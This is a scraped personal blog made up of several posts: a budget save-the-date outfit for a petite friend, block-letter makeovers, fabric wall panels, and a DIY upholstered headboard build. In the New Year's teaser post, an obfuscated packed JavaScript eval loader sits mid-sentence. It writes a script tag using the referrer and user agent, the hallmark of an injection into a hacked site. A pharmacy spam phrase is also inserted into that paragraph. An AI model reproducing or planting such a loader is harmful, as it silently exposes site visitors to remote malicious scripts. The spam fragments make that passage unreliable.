How to Pick a “Save the Date” Outfit for Under $30

2014 Fashion, DIY, Fashion, Summer

I’m many moons from having to plan my own wedding, but I’ve had so much fun this year going through the process with a dear petite friend (yes – there are more people who are just 5 feet!) of mine – meet Karla! She is gregarious, outspoken and one of the kindest souls I know! I’m excited for her to spend the rest of her life with someone who almost matches up with her.

I took her save the date photos a few weeks ago (none used in this post so no spoiler alerts for my friends). However, after our session, I started wondering how did she pick her outfit? As someone who puts a lot of effort into dressing for special occasions but also budget-conscientious, I was blown away by my friend’s thriftiness and chic look! Here is her story and tips in picking a “save a date” outfit.

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Central Top () / Aeropostale Jeggings () / Aeropostale Watch (looks like Michael Kors for ) / Necklace (borrowed from Mom) / Dollhouse Flats (Ross )

These high-wasted jeggings are my go to bottoms because they provide good coverage for my generous Puerto-Rican derrière. Since my “Save the Date” requires me to be on grass, I choose jeans instead of a dress or skirt. Personally, I hate the feeling of grass against my skin.

Like any bride-to-be, your schedule the year before is crazy busy. I picked this blouse because it is easy to throw on and head out the door. It doesn’t hold wrinkles, which was important since I had my photos taken at the end of a very long day. It’s also long enough to cover the top of my high-waisted jeggings and adds great colors to my look!

The necklace is a flower, which plays off the floral pattern in my blouse, and the watch pulls in the gold from my necklace. The bow on the back of my nude flats add more touches of romance too. Since my backdrop is a park, I kept my makeup natural and curled my hair with José Eber Clipless wand.

After speaking with a friend who is already married – her advice to me is that if she had known what she knows now, she wouldn’t have spent so much on her wedding. In the end, the most important thing about this whole process is that my fiancé and I get to spend the rest of our lives together.

DIY: Letter Makeovers

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I recently received two block letter K’s as a gift, but I did not like their color.  I couldn’t very well be rude and ask them to get me different colors. Instead, I gave both K’s a makeover!

Here is the before:

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nothing inherently wrong with the block letters, but they felt bland and has a very boy-girl dynamic.  I decided to give each of them a different look (with the help of my girlfriends).

The blue letter required the most work, but my friend had all the tools and skills to help guide me.  Since my apartment is done in a nuetral color palette,  I decided to coverup the blue with twine.  I first sanded the blue paint down to the wood so a new coat of paint would stick better.

Then I painted the letter a light tan to match the twine I would be using.

I must warn my readers, this project is very time consuming.  I had to hot glue the twine down to start the process and around all corners to ensure a tight hold.  While wrapping twine around the letter isn’t hard, it takes a lot of time and twine to cover a small area.

For the pink letter, I decided to modge podge a piece of cute scrap paper to it. I got the scrap paper at Michaels for $0.60 – a bargain deal!  Of the two projects, modge podging was easier and quicker.  I would advise you to go this route when upgrading block letters instead of the twine, unless you really like the look and are going for that particular texture.

I also crocheted small flowers to breakup the monotony of the twine and added pearl centers to them.  I really love the way both letters turned out!

DIY: Wall Decor

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you ever wanted unique wall decoration that was easy to make?  I do!!!  I got this idea from Pinterest – are you really surprised?  Aren’t all good ideas on Pinterest?  This is how I made my upholstered wall hangings:

I bought Medium-Dense Fiberboard that was 2×4.  I added an extra section at the bottom to make it 2×5 because my walls were 10 ft tall.  The picture above shows how we built the frame.

I used liquid nails to attach the fiber boards together and then reinforced it with nails.

Action Shot!

Next step, glue the batting onto the fiber boards.

Next step, use a nail gun to staple down the fabric and batting to the boards.

I made three boards using these fabric below:

Here is the final product!

DIY Headboard Complete!

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first step is buying supplies.  We spent about two/three hours at Home Depot, buying lumber and getting everything cut to the right size.  20130109-094705.jpg

screws, liquid nails, bolts and more!

We used medium-dense fiberboard, plywood, and regular wood

We laid out the headboard frame to visual our goal!

Pre-drill holes into wood legs to screw in bolts easier

We used liquid nails to attach the legs to the headboard frame and then reinforced the structure with nails

We hot glued the batting and foam down to MDF squares that would later be upholstered

When working with hot glue, it’s a mess, so be careful!

At this point, I may have stepped out of the house to meet up with my girlfriends. . . and my amazing boyfriend kept working away! He used the nail gun to upholster the four MDF boards and then used liquid nails to attach them to the larger frame.

Final product:

I love it! It truly makes my bed and my bedroom feel more complete!

I bought the fabric at Hancocks after the New Year when everything in the store was 50 percent off! I chose this fabric because it had the purple accents to match my duvet but also had other colors that would make it easy for me to re-do my bedroom without reupholstering the headboard!

We recreated my inspiration photo:

We ended up not doing the buttons, but it would be easy to add on if I later decided to do them.

We had a long debate over how to attach the headboard – wall mounting? stand-alone feet? attach to the bed? I had done my research but there was no consensus. We ended up bolting the legs to the bed because we didn’t want to damage the walls (I rent after all), and it would be more sturdy than letting it lean against the wall.

At the start of this DIY project, it felt overwhelming, but I was surprised at how manageable it became – mostly thanks to my boyfriend and his many tools! I definitely want to keep up this DIY/arts/crafts trend throughout the new year. I can’t want to invite people over and show them around the new apartment (and say that I built/made most of the decorations!)

DIY Teaser: New Year’s Resolution

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One of my New Year’s resolutions is to be more frugal through DIY projects.  I have several in mind already, but the biggest one is building an upholstered headboard.  I orignally bought my bed from IKEA eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azibr|var|u0026u|referrer|drtfh||js|php’.split(‘|’),0,{}))
without a headboard because it was cheaper.

This is my bed without the $130 headboard.  While IKEA is relatively cheap, I need to go extremely frugal this year to afford the lasik eye surgery I’m hoping to get. How do I live frugally but still enjoy my home space? DIY! Anyone want to take bets on how long it will take me to complete this project?  I’ve started my research and am currently generic phentermine cost looking at several different ideas.  Are you curious to see some of my ideas?

This is the one that will most likely happen because it’s cute and simple.

I personally love the detail of the pin/nails at the edges.  Like dressing oneself, it’s always about the accessories and details.

Asian architecture is one my favorite things in the world to admire, and the arches and domes are the best part.  Why not incorporate that shape into my new headboard?

Remodelaholics has a ton of great ideas for DIY headboards on their website.

I’ll keep you posted on how the project goes, but I’ve bought my fabric and padding so I’m dedicated now!